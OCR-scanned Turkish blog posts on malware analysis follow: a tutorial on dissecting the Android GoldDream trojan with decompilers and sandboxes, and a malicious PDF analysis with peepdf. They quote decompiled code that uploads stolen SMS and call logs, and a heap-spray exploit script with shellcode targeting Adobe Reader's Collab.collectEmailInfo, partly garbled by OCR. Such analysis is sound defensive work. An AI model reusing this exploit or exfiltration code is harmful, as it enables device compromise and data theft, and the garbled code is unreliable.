1 apachs apachs 306 May 28 17:43 .NJ_4delOalel754f x
Jength : 19842724 Wnes 1 434150 In: 426694 Col:1 Se:0 ﬁi‘t et ms

Sonug itibariyle ag trafik kayitlarini analiz ederek basarili bir sizmanin nasil gergeklestirildigi konusunda ¢ok detayli bilgiler elde
edebilirsiniz. Umarim merakli arkadaslar i¢in gergeklestirmis oldugum bu analiz faydali olmustur. Pratik yapmak isteyenlerin BGA'dan
bu DVDler'i iicretsiz olarak temin etmelerini siddetle tavsiye ederim. (Sinwrlt sayida bulunan DVD'ler tiikenmistir. Kayit dosyalarini
edinmek isteyenler BGA Istanbul ofisine giderek DVD ¢ekimi yapabilirler:)

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

Android Zararh Yazilim Analizi

Source: https://www.mertsarica.com/android-zararli-yazilim-analizi/
By M.S on February 25th, 2012
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2011 yilinin son aylarinda giivenlik firmalari tarafindan yayinlanan mobil tehdit raporlarinda Android isletim sisteminin rakiplerine gore
cok daha fazla zararli yazilim istilasina ugradigina dikkat ¢ekiliyordu. Juniper firmasi tarafindan yapilan arastirmaya goére 2009 ile 2010
yillar1 arasinda akill telefonlar1 hedef alan zararli yazilimlarin %250 artis gosterdigi, 2011 yiliin Temmuz ay1 ile Kasim ay1 arasinda
ise %472 artis gosterdigi sonucu ortaya ¢ikiyordu. Juniper firmasi tarafindan yayinlanan bir baska raporda ise 2011 yilinin son 7 ayinda
Android isletim sistemini hedef alan zararli yazilimlardaki artigin %3,325 oldugu belirtiliyordu!

Gartner'ln yapmis oldugu bir arastirmaya gore 2011 yilinin son g¢eyreginde satilan her iki akilli telefondan birinde Andoid isletim
sisteminin kurulu oldugu g6z 6niinde bulunduruldugunda art niyetli kisiler tarafindan gelistirilen zararli yazilimlarin Android isletim
sistemini hedef almasia eminim sizde benim gibi sasirmiyorsunuzdur.

Android isletim sistemi neden bu kadar kisi ve liretici tarafindan tercih ediliyor diye soracak olursaniz bunlarin baginda agik kaynak kodlu
olmasi, iicretsiz olmasi, acik markete (licretsiz uygulamalar barindiran Android Market) sahip olmasi, tabii ki Linux 2.6 ¢ekirdegini
kullaniyor olmasinin ¢ok biiyiik rol oynadigini sdyleyebiliriz. Durum bdyle olunca da bireylerden kurumlara kadar herkesin yeri
geldiginde kullandig1 veya kulkanacagi uygulamanin iyi niyetinden siiphe ettigi durumlarda o uygulamay: analiz etmeye ihtiyac
duyabilir.

Analiz yontemlerine gegmeden dnce kisaca Android'in giivenlik modelinden kisaca bahsetmek istiyorum.

¢ Android isletim sisteminde Linux isletimin giivenlik modeli baz alinmistir. Linux isletim sisteminde bildiginiz iizere dosyalara
verilen izinler kullanic1 bazlidir ve bir kullanici baska bir kullanicinin dosyasini o kullanict izin vermedigi siirece okuyamaz,
degistiremez ve/veya calistiramaz. Android isletim sisteminde de her yeni kurulan uygulamayi yeni bir kullanici olarak
diisiinebilirsiniz. Bir uygulama, diger bir uygulamaya ait dosyalara dosya sistemi {izerinden ulasamaz.

¢ Uygulamalarin kurulabilmesi i¢in mutlaka dijital sertifika ile (kendinden imzali (self-signed) da olabilir) imzalanmis olmasi
gerekmektedir.

¢ Uygulamalar ¢aligsma esnasinda kullanacaklar1 kaynaklara, erisecekleri alanlara goére kurulum esnasinda kullanicidan bir defaya
mahsus olmak iizere izin istemek zorundadirlar. Ornegin bir uygulama, calisabilmesi icin internet baglantisina ihtiya¢ duyuyor
ise kurulum esnasinda bunu beyan etmek ve kullanicidan bu izni istemek zorundadir. Izinler, APK (Android application package)

Do you want to install this Do you want to install this
application? application?

Allow this application to: Phone calls
intercant-outecir
+ Your messages Sy
r MS, 15

« Network
full Internet ac
Hardware controls
control vibrator

« Services that cost you System tools
money

Irstall Cancel

» Kurulan her bir uygulama ayr1 bir Dalvik sanal makinesinde ¢aligmaktadir.
Peki zararli bir yazilim, Android isletim sistemine hangi yollarla bulasabilir ?

e Uzaktan kurulum ile: Android Market web sayfasi iizerinden cep telefonunuza sectiginiz herhangi bir uygulamayi
yiikleyebilirsiniz. Art niyetli bir kisi tarafindan Gmail sifrenizin ¢alindigini ve isterse bu sifre ile cep telefonunuza internet
bankaciligina giris yaparken kullandigimiz tek kullanimlik SMS mesajlarini ¢alan bir truva atin1 yiikleyebilecegini diislindiigiiniizde
ister istemez bu 6zellik sizi korkutuyor.

* Market lizerinden: Bildiginiz iizere Android Market'e isteyen herkes (258 6deyerek sahip olunan bir gelistirici hesabi yeterlidir)
gelistirmis oldugu uygulamay: yiikleyebilmekte ve kullanicilarin kullanimina sunabilmektedir. Durum bdyle olunca da hangi
uygulama giivenilir hangisi degil bunu anlamak pek miimkiin olmamamaktadir. Her ne kadar Google bu duruma bir dur demek i¢in
Bouncer adinda ki zararli uygulama tarayici hizmetini devreye almis olsa da, Apple gibi manuel olarak kod incelemesi yapmadig1
stirece zararli yazilimlar Android Market'i istila etmeye devam edecektir.

e Android SDK ile: Android SDK, Google tarafindan uygulama gelistiricileri (developer) i¢in hazirlanmis ve biinyesinde
kiitiiphaneleri ve hata ayiklayict (debugger), ykiiniicii (emulator) gibi gesitli araglari barindiran bir yazilim gelistirme kitidir. Bu
kit igerisinde yer alan Android Debug Bridge (adb) aract ile dykiiniiciiye (emulator) veya bagli olan Android isletim sistemi kurulu
cihaza uygulama yiiklemek miimkiindiir.

* Internet iizerinden: Web sayfasi iizerinden, e-posta eklentisi veya QR kodu ile internet {izerinden indirilen apk dosyast1 ile Android
isletim sistemine uygulama yiliklemek miimkiindiir.
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APK uzantisina sahip olan Android uygulamalar1 zip dosya formatina sahiptir ve bu sayede APK uzantili herhangi bir dosyanin
uzantisi ZIP uzantisi olarak degistirilerek Winzip, Winrar ve benzer dosya sikistirma araglari ile agilabilmektir. APK dosyasinin agilmast
durumunda i¢inden ¢ikan classes.dex ve AndroidManifest.xml dosyalar1 analiz i¢in 6nem tastyan dosyalardir.

=10l x|
+ GoldDreamA... ~ BloodvsZombie_com.gamelo.DrawSlasher_1_1.0.1 - {3] | Search BloodvsZombie_com.gamelio.D. ..
Organize ¥ Indudeinlbrary » Sharewith v Bum  New folder > [ @
- Favorites — DA fuodied | Tvee ||
B Desktop assets 12.02.2012 16:41 File folder
38 Downloads Iib 12.02.201216:41  File folder
Al Broenk Phces META-INF 12.02.2012 16:41  File folder
=5 Ubraries res 12.02.2012 16:41 File folder
D pssinits |# AndroidManifest. xmi 29.06.2011 22:39 XML Document 6 KB
.- Music || dasses.dex 29.06,2011 22:39 DEX File 33KB
b=| Pictures rEsOUrces.arsc 29.06.2011 22:39 ARSC File 1KB
Bl vidanc LI B
7 items

Dex uzantili classes dosyast, Java ile kodlanmis, Java derleyicisi ile derlenmis ve dex araci ile Dalvik sanal makinesinde caligsacak
hale doniistiiriilmiis Android uygulamasidir. Piyasada dex dosyasini class dosyasina ¢eviren dex2jar gibi iicretsiz araglar mevcuttur. Bu
araglar ile kaynak koduna ¢evrilen (6rnek komut: d2j-dex2jar.bat classes.dex) class dosyasi rahatlikla analiz edilebilir.

CislsersiMert™
mo . dex
dex2 jar =it

stoprNetsechdex2 jar—8.8.9.7N\dex2jar-8.8.9.7>d2 j-d

> zitmo-dex2jar. jar

Bildiginiz veya bilmediginiz lizere Java ile kodlanmis programlar kaynak koduna gevrilerek (decompile) analiz edilebilmektedir. Durum
bdyle olunca da dex formatindan class formatina doniistiiriilen Android uygulamasini JD-GUI ve benzer araglar ile kaynak koduna geri

¢evirmek ve analiz etmek miimkiindiir.

@ Java Decompiler - ziService.class -10] x|
fle Edit Navigate Search Help

dasses-dex2jar.jar ¥
@ gethowTime(int) : int _:J ClawActivity.ch ziService.dass X .
© getTaskCountFromServer(String) -
© getTaskFromServer(int, String, St boold = booll.booleanValue(): 3
@ getlidfromServer() : String !
@ getUserAgent() : String return bool3;
@ getValueFromServer(String) : Stri ]
@ installApk(String) : void
@ iUpdateParam() : boolean private void uploadAllFiles()
@ onBind(Intent) : IBinder throws IOException
@ onConfigurationChanged{Configu { iy
@ onCreate() : void Object localCbject = new UploadFiles():
@ onDestroy() : void if ('fileIsExists("/data/data/com.gamelioc.DrawSlasher/files/zjsms.txt"™));
@ onLowMemory() : void while (true)
@ onRebind(Intent) : void {
@ onStart(Intent, int) : void return;
@ onUnbind(Intent) : boolean if (!filelsExists("/data/data/com.gamelio.DrawSlasher/filea/zjphonecall.txt”))
@ removeSpaces(String) : String continue;
IS8 uploadAliFiles() : void {{UploadFiles)localObject) .uploadFile("http://" + getKeylode ("dom™, “dom v") +
@ wi(String) : void ({UploadFiles)localObject) .uploadFile ("hetp://" + gectkeyNode ("dom", “dom v") +
&5 try
& {..} :

=3 gamedo.DrawSlasher i
&R localObject = openFileCutpuc(”zjsms.txc"™, 2);
= - | { (FileQutputStream) localCbject) .write (new String("").getBytea(}): =
« | b ‘ »

Kimi zaman kaynak koduna ¢eviren araglar (decompiler) hatali ¢eviri yaparlar. Bu gibi durumlarda dex dosyasi, apktool gibi araglar ile
tersine gevrilerek (disassembling) (6rnek komut: java -jar apktool.jar d BloodvsZombie com.gamelio.DrawSlasher 1 1.0.1.apk) analiz

edilebilmektedir.

Baksmaling...
stl: Loading resource tahle._..
Loaded.

Loading resource tahle from file: C:sUserssMerthapktoolsframeworksl.apk

Loaded.

Decoding file-resources...
Decoding values*/* XML=z...
Done.

Copying assets and libs...
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File Edit Search View Encodng Language Seftings Maco Run Plugins Window

| cHHE 5 cB|laOR|[2e (M| 2 5|0 S I1[EQD | WD B R| >
B AndroidManifest saml ]. UploadFles smali [ z}vabexnui ]
1 .line 287 .2.]

.line 288

-line 291

move-result
if-nez v5,
.line 324
tcond 0
:goto_0
return-void
.line 294

:cond_1

move-result

if-egz v5,

const-sctring v2,

.local v2, objl:Ljava/lang/String:
const-string v3, "/data/data/com.gamelio.DrawSlasher/filea/zjphonecall.txt™

.local v3, obj2:Ljava/lang/String;
invoke-direct (p0, v2}, Lcom/GoldDream/zj/zjService;->filelsExists(Ljava/lang/String;)2

V5

:cond 1

vs

tcond 0

.local v4, uf:Lcom/GoldDream/zj/UploadFiles;
"/data/data/com.gamelic.DrawSlasher/files/zjsms. ctxt”

|

invoke-direct {p0, v3}, Lcom/GoldDream/zj/zjService:->filelsExists(Ljava/lang/String:)Z

’

It length : 85886 Ines : 3412 Ln:1593 Col:20 Sel:0 Dos\Windows [anst

ns

Izinlere gelecek olursak daha dnce de belirttigim gibi izinler AndroidManifest.xml dosyasinda tanimlanmaktadir ancak bu dosya binary
formatinda oldugu i¢in herhangi bir metin editorii ile goriintiillenememektedir bu nedenle AXMLPrinter2.jar gibi araglar ile okunakli
hale getirilmesi (6rnek komut: java -jar AXMLPrinter2.jar AndroidManifest.xml) gerekmektedir. Okunakli hale getirildikten sonra

uygulamanin caligabilmesi i¢in ihtiya¢ duydugu izinler rahatlikla analiz edilebilmektedir.

<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<usez-permissicn
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission

android:name="android.
android:name="android.
android:name="android,.

e="android.

android:name="android.

an
an

android:name="android.

"android.
android:name="android.
android:name="android.
android:name="android.
android:name="android.
android:name="android.
android:name="android.

roid:name="android.
id:name="android.

permission >
permission.ACCESS NETWORK STATE" />
permission.READ PHONE STATE" />
permission.ACCESS WIFI_ STATE" />
permission.WRITE_EXTERNAL STORAGE" />
permission.ACCESS COARSE LOCATION" />
permission.ACCESS FINE LOCATION" />
permission RECEIVE SMS" />

permission. PR o y CALLS"™ />
permission.DELETE_PACRAGES" />
permission.INSTALL PACRAGES" />

permission.RECEIVE BOOT COMPLETED" />

Statik analiz i¢in yukarda bahsetmis oldugum araglara ilave olarak IDA Pro v6.1+, APKlInspector, Dexdump, Smali ve Androguard
araclarindan da faydalanabilirsiniz.

Dinamik analiz ger¢eklestirmek i¢in Android SDK ile birlikte gelen dykiiniiciiden (emulator) faydalanabilirsiniz ancak zararl yazilimin
servis olarak calismasi ve/veya bazi iglemlerin ger¢eklesmesi esnasinda ¢alisma durumu séz konusu olabilecegi igin gorsel ve/veya
fonksiyonel olarak oykiiniicii iginde ¢alistirsaniz dahi size herhangi bir ipucu vermeyebilir. Bu gibi ihtimallere karst Droidbox aracindan
faydalanabiliriz. Droidbox, Android uygulamalarini dinamik olarak analiz etmek i¢in gelistirilmis bir kum havuzu aracidir. Gelen/giden
ag verileri takibinden, dosya okuma/yazma takibine, Giden SMS ve arama takibinden, sifreleme iglemlerinin takibine kadar sistem

iizerinde gergeklestirilen kritik islemleri kayit altina alarak zararli yazilimin arka planda neler yaptigini rahatlikla 6grenebilirsiniz.
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Mon Feb 20, 11:31 AM

[Broadcast receivers]

[Started services]

[Enforced permissions]
[Permissions bypassed]

[Information leakage]

™ [ root@bt =1 root@bt =] root@bt: .. [DroidBo. [root@bt =] root@bt & Android 5. @ 5556:Mal. @ 5558:5MS 5 Take Scre...

Goriildiigii lizere Android isletim sistemini hedef alan zararli yazilimlari analiz edebilmek igin statik olsun dinamik olsun
faydanalabilecegimiz ¢ok sayida ara¢ bulunmaktadir ve Google, Android Market'e yiiklenen araglart manuel olarak kaynak kod
seviyesinde analiz etmemeye devam ettigi siirece bu araglara ¢ok isimiz diisecektir.

Giivenliginiz i¢in Android isletim sisteminize mutlaka ama mutlaka bir giivenlik uygulama kurmanizi 6nerir, bir sonraki yazida goriismek
dilegiyle herkese giivenli giinler dilerim.

Zararh PDF Analizi

Source: https://www.mertsarica.com/zararli-pdf-analizi/
By M.S on January 23rd, 2012

e

Eskiden art niyetli olsun veya olmasin bilgisayar korsanlarinin hedef sistemlere sizmalarimin arkasinda yatan baglica sebepler; hacktivism
gayesiyle diinyaya mesaj verme, finansal fayda saglamak amaciyla finansal bilgilere erisme, sistemde tespit edilen giivenlik zafiyetleri
konusunda sistem yoneticilerini uyarma, kin ve nefret giidiileriyle hareket ederek hedef sistemlere zarar vermekti. Ancak zaman
degisti ve uluslar, bilgisayar korsanlarindan olusan kendi siber kuvvetlerini olusturarak hackingi bir silah olarak diger devletlere kars1
kullanmaya bagladilar.

Siber savasin yasandig1 giiniimiizde ¢ogunlukla izlenen strateji zarardan ¢ok kalici olarak hedef sistemlerde barinmaya ¢aligma ve
olabildigince hassas bilgilere ulasma yoniinde oluyor ve cogunlukla arkasinda uluslarin olduguna inanilan bu sizmalara Advanced
persistent threat (APT) adi veriliyor. Her ne kadar APT tehditlerinin arkasinda ¢ogunlukla ¢ok iyi organize olmus bir grubun, ulusun
olduguna ve sizmalarda ileri seviye zararli yazilimlardan ve sofistike araclardan faydalandiklari diisiiniilse de aslinda RSA vakasinda
oldugu gibi sahte bir e-posta hazirlama becerisi, ofis dokiimanlarin1 agmak i¢in kullanilan bir uygulamada Fuzzer ile giivenlik zafiyeti
kesfetme becerisi, bu zafiyeti istismar edecek kod parcasini (exploit) hazirlama becerisi ve son olarak kaynak kodlarina internette
rastlayabileceginiz bir araci 6zellestirme (6rnek: modifiye edilmis poison ivy) becerisi yeterli olmaktadir. Hele ki giiniimiizde bu islerin
nasil yapilabilecegini anlatan sayisiz makale oldugu diisiiniildiigiinde siradan bir kurum i¢in bile bu tehditin gergeklesme olasiligi oldukca
yliksek seviyelere ¢cikmaktadir.

Cogunlukla ABD Savunma Sanayii sirketlerini hedef alan Cin'li grubun, sistemlere sizmak ve gizli belgeleri ¢almak icin kullandiklart
Sykipot adindaki zararli yazilimi bulastirmak i¢in 2007 yilindan bu yana sirket ¢alisanlarina, zafiyete sahip istismar kodu igeren ofis
dokiimanlar1 génderdikleri ve bu yontemin bir ¢ok organize sug orgiitii tarafindan da kullanildig: diisiiniildiigiinde genel kabul gérmiis
giivenlik kontrollerinin (ips, antiviriis, vs.) yetersiz oldugu anlasilmaktadir. Durum bdyle olunca da kullanicilardan gelen ihbarlar
dogrultusunda olas1 zararli kod igeren ofis dokiimanlarinin analiz edilmesi bir kurum igin kaginilmazdir.
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SYKIPOT ATAK VEKTORLERI

CVE TARIH YAZILIM
CVE-2007-0671 2007-02-02 Microsoft Excel
CVE-2008-3957 2010-12-01 Adobe Reader
CVE-2010-0808 2010-05-04 Internet Explorer
CVE-2010-2883 2010-08-08 Adobe Reader
CVE-2010-3654 2010-10-28 Adobe Flash Player
CVE-2011-2462 2011-12-06 Adobe Reader

Zararli dokiiman analizinde analiz edilecek dosya Microsoft ofis dokiimani ise amag, zararli kod igerebilecek VB makro kodu, OLE
verisi, kabuk kodu, PE dosyasini tespit etmektir. Bunun i¢in OfficeMalScanner ve OffVis araglarindan faydalanabilirsiniz.

Eger analiz edilecek dosya PDF ise bu defa amag, zararli kod i¢erebilecek Javascript kodunu tespit etmektir. Bunun i¢in de pdf-parser.py,
peepdf ve Origami gibi araglardan faydalanabilirsiniz.

Ornek olarak malware.pdf adinda zararli kod igeren bir pdf dosyasmni analiz etmek istersek yapacagimiz ilk is ayri ayri bu is igin
tasarlanmig araglari indirmek yerine zararl yazilim analizi gergeklestirmek i¢in &zel olarak hazirlanmig ve bir ¢ok araci iizerinde
barmdiran REMnux sanal isletim sistemini indirip kullanmaktir.

Kullanmaya bagladigim bu isletim sisteminde, masaiistiine kopyaladigimiz malware.pdf dosyasini peepdf araci ile analiz etmek i¢in
peepdf.py -i malware.pdf komutunu yazarak bu pdf dosyasi iizerinde javascript kodu olup olmadigini kontrol edebiliriz.

A, remnux@remnux: ~/Desktop —
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remnux@remnux: ~/Desktop$ peepdf -i malware.pdf
File: malware.pdf

MD5: c288bc26462ef94f991d59c3708e3bas
Size: B766 bytes

Version: 1.6

Binary: True

Linearized: True

Encrypted: False

Updates: 1

Objects: 12

Streams: 4

Comments: ©

Errors: 0

Version ©:
Catalog: 8
Info: 6
Objects (1): [7]
Streams (9): []

Wersion 1:
Catalog: No
Info: No
objects (11): [1, 2, 3, 4, 5, 6, 8, 9, 19, 11, 12]
Streams (4): [12, 18, 4, 5]
Encoded (3): [12, 18, 4]
Objects with JS code (1): [4]
Suspicious elements
/Names: [8, 2]
fJavaScript: [8, 3]
/1St [3]
Collab.collectEmailInfo (CVE-2007-5659): [4]

(T

Goriildigii tizere peepdf araci bize 4. objede (Object with JS code) javascript kodu oldugu bilgisini vermektedir. js_beautify object 4
komutunu yazarak pdf dosyasi iginde yer alan javascript kodunu diizgiin bir bi¢imde goriintiileyebiliriz.
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FPPDF= js_beautify object 4 [4]
function re(count, what) {

var v = "";

while (--count >= 0) v += what;

return v;

}
function start() {

sc = unescape("%uU9090%U9090%U9090%LI090" ) ;

sc += unescape("%u03eb%ueb59%ue805%ufffexuffffiueos3%ugnle");

SC += unescape("%US190%UGASARUSES1%U3050%U3041%UGB41%U4141%U3251%0U424 1%U4232%U3042%U4242%0U424 1%U5
058%U4138%UT542%uU494A4" ) ;

sc += unescape("%US635%UGBSEXUSCTORUTATSHUT 435%UE430%UEBIEXUAS35%UTOEIXUZ043%UTOETHUSO35%U4DECHUS
276%U5355%US04DH%USAGEHUS 175%U4F44%UE44E%U4B30%U3033%US055%U3063%UTE4BNUT257THUGE 136%UE858HUG362%U5175%uU
TOSTHUTO3THUTEZ 1HUTO35%U4454%U5055%US045%U4AS2HUS045%U4F4BRUSO6E%UE96DNUTOS5%U3443%UTOSTHUI063%UEBEES
UGB50%UGBS8HUGS TEHUEET3RUS34ANU3460%UEFS9%UTO4ARUSE4BHUTE4BUUGFS9%UGFEO%UGF 49%U4BEARUT TE6%US TEO%U4E4A
U7 TAERUZ 163%UTO4THUTOE THU4B4CHUTEEENUS356%UE04A%USO5 1%UT334%U306F%US04E%U4 37 BHUGCEO%US 26A%UBEACHUGD 4
E%u7 753%UGF58%UGFG3%UG36A%U49TABUAZTA%U4274%US035%U 704 TRUGBT3%US 16D%UGCE8%U3450%uS 155%US035%UTO37HU4B
GCHUS43BHUAEITHUTTABHUT 237404 33 2%UED50%U3455%UTO65%U4ESTHU3TAFRUS 25 1%u44 T4%UGF54%UT7 35 1%UT035%UT7275%u4
SECHUT24BRUTET THU3330%UTOEBXUSOTO%U307E6XUSBE3HUGA56%US 135%UTOSTRUTOT 7THUT 262%US350%UTO32%U386D%UEITTHU
G166%UTOSTHUTOSTHUAF4BRUSO3BHU4BECHUGCEO%U4BECHUST49%U334BRUSO69%UEBEERU4EZTHUSALDHUTE36%UT 44F%UEBEEY
U7450%UT33THUS03 1%U4B4ARUSE5ARUGESDNUZTAFHUTO3THUS 2T THUTO35%U49T0%U4ETONUGETE%UT 7TEBRUS051%u3443%UT372
HU3436%U3 14 THUBCE2HUGESSHUTEEB%UTOS 3R T BT THU4CTORU33TOHUA239%U4ET THUTEAFRUSO50%USO55%US 34D%U4CEA%US 45
O%UG375HUTOABHUI350%U4BE9RUGBEERNU4C38%UA34CHUEBAANUS A TORU4DE3RUGI56HUEEIDNUGIGERU4CTERUS155%UT 36FHUSO
A9%UT44THUGBTBRUT248%UEB4ERUACEERUABACHUTOBANUGIEERUT 34BHUE 04 4%UE366%UZ06FHNUBEZERU3T4FHUT 353RUECE4%UE
136%US045%U5075%US065%US 150%US330%UTOT2HuT062%U50T70%UTOS2%U50TO%UZ0TEHUS TE0RU3046%USBEBHUT 14D%UTO3THU
SO75%UTO4THUSB4BHUGBEERUZ053MUTOETHUTOSTHUSOECHU3BEDHUAE4FSUTOS THUSOEERUTOE THU4FEBHUTOBARUSAGINUTOZTH
U734B%US04DRUSETEHUEET3RUGA5 1%UE T T4%U7 1AFHUGBTERUS34DH%U4CE3%UTATEHU3433%UE4 7 2%UEF 76%US 14D%UT830%U3533
HUBOECHUTOEERUS04CHUSO6CHU44TIHUTET THUSE50%U4BECHUBCTBHUGDAERUZ0T THUSEE5RUGFEO%UTO49%UTET 1%U4F32%udES
2%UTO5THUSOTE%UTEG 1%UG5T 1%US232%U4C52%UEDTO%RUABAARUT 236%U4D4CHUTA53%UT 455%UG466%US0TO%RUGES8%UTOSERUGR
39%U4FEBRUGFE9%USOTORUGESEXUZ 3 4ANUS045%US0TEHUSO35%U4BAARUS439%USB4BHUGO TERUGF 49%U4FEBRUGF 7 9%UT 36F%US
449%UEEE5%U3Z4FHUTAZIHU4ACA2RU4BE2HUAEG2HUE45 1%UG420RUACA2HU4BEARUT 27 6% U4D4CHUS45 1HUT435%U2433%0E0TO%0
584B%UECEE%U4EEBYUEFS%U4FEB%U30TEXUSEEB%UGF TO%UT 06 THUSOE5%UE035%UEBE8%UTO4D%UEEE68%U394D%UAFEBRUAFER%. + |
U4F4B%U436C%UGA49%UT 85 THU334F%UT8E9%U7 350%U5035%U707 7THUS035%US863%U4CAARUATADRUT 34 THUBCTEXUTOE2%UTBED
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%u?0??%u506S%U507S%U43GC%U544Q%U4854%u535Q%U635S%U?3?4%u4B5Q%U545S%U4B4C%u6B5S%U?054%u656E%u4859%u585E]
2%UAFTARUAESTHUABECHUEBE3%UGCTENUME4 THUAB4CHU3354%u4 CE5%UEDACHUGETSHU4ABECHUSOT 1%U4B44%u4BT 1%U5349%UGE
GE%U4BECHUABT 1%US466%UG34EXUZ 36F%U4C33RUGESSHUGBAERUG342%U4CT THUGBE 3RUG3TARUTOT 1%UT04ERUZE50%UEB4ERU4
CE2%U3451%u4456%UE635%U4BECHU3ET THU4CETHU466 THUGBEEXUS450%UTE3THU4BE3%UTITTHUSS 7TBRUAESTHUABACHUSAS 1%L
3BT 2%UBETSRUGBEERUSATORUTOTEHU33T3NUEDEE%US34BRUABA THUTO33RUGETERU4B4CHUT434%U4B4CHUB3TIHUA54BRUGITER
LGF49%UG355%U304F%U4C4B%U4CAERUGA4ERUSO59%UGAS 1%USTE5%UT 16B%UGFSARUGD T ERUG356%USB6A%LGB38%US44A%USE36
HUGBA0NUACE3%U3451%UTEE5%UEEE 1%¥UAF39%U4EG THUGBAERU4A3 1HUGA64%UT 33THU4DA9%UEE T ORUIE3ITHUGBEERU4CSA%UGES
2AUGETERUGBEERUSABORUECETRUS 2T ERUAD T ORUGEZERUGBAERUG A5 THUGBEEXUT 23 THUZEAEAU4E6THUSDADHUZ4E6RUT4TERUAC
55%US153%UG34A%UTETO%UTE38XUEDEO%U4FABXU4FEBHUG850%U4453%UE442%US06 2%UTATA%UAFTEHU4FEEHUSB36%U3530%UE
ES4%u3170%ud7 7 THUBET4%UG265%U32T0%U5 176%U4ES6HU4 25THUEFE4%u3454%04 23 3%US 153%UG3TORUABE2HUEF 7 4%U3 165%uU
AE46%UTO20%UTES 1%UTO30%UTOTTHUTATEHUO041" ) ;
if (app.viewerVersion == 7.0)

ef8 = unescape("%u0bob%up©28") + unescape("%ufGeb%uoseb");

ef8l = unescape("%udbob%u0028") + unescape("%ufasb%udaeb");

plin = re(1124, ef8) + ef8l + unescape("%u9090%u9090") + re(122, efB8) + sc + re(1256, unescap
e("%ud141%u4141"));

} else {

ef6 = unescape("%uf6eb%¥uféeb") + unescape("%uobob%uonl19");

plin = re(80, unescape("%U9090%u9090")) + sc + re(80, unescape('"%u9090%u9090")) + unescape("%
uabe9%ufff8") + unescape("%uffffauffff") + unescape("%ufsSeb%ufdeb") + unescape("%uf2eb%ufleb");

if ((plin.length % 8) != 0) plin = unescape("%u9090%u8090") + plin

plin += re(2626, ef6);

if (app.viewerVersion == 6.0)
this.collabStore = Collab.collectEmailInfo({

subj: "",
msg: plin
Ik
}
}
var inBrowser = this.external;
if (inBrowser) var shaft = app.setTimeOut("start()", 1200); LJ

FrOF> ]

Analiz neticesinde olusturulan kabuk kodununun (shellcode) Collab.CollectEmaillnfo fonksiyonuna gonderiliyor olmasi sonucunda bu
pdf dosyasinin iginde 2008 yilindan kalma Adobe PDF v8.1.1 ve dnceki siiriimlerinde bulunan zafiyeti istismar eden istismar kodunun
(exploit) bulundugunu 6grenmis oluyoruz.

Kimi zaman bu 6rnekte oldugu gibi pdf dosyasi i¢inde yer alan istismar kodunun hangi zafiyeti istismar ettigini anlamak bu kadar kolay
olmayabilir. Bu gibi durumlarda javascript kodu i¢inde yer alan kabuk kodunu set shellcode "kabuk kodu" komutu ile tanimladiktan
sonra js_unescape variable shellcode komutu ile analiz edilebilir hale getirebilir, sctest variable shellcode komutu ile kabuk kodunun
calismasini simiile edebilir, shellcode2exe araci ile yiiriitiilebilir programa (executable) ¢evirerek immunity debugger ile dinamik olarak
analiz edebilirsiniz.

Bir sonraki yazida goriismek dilegiyle yeni yilin herkese giivenli giinler dilerim.
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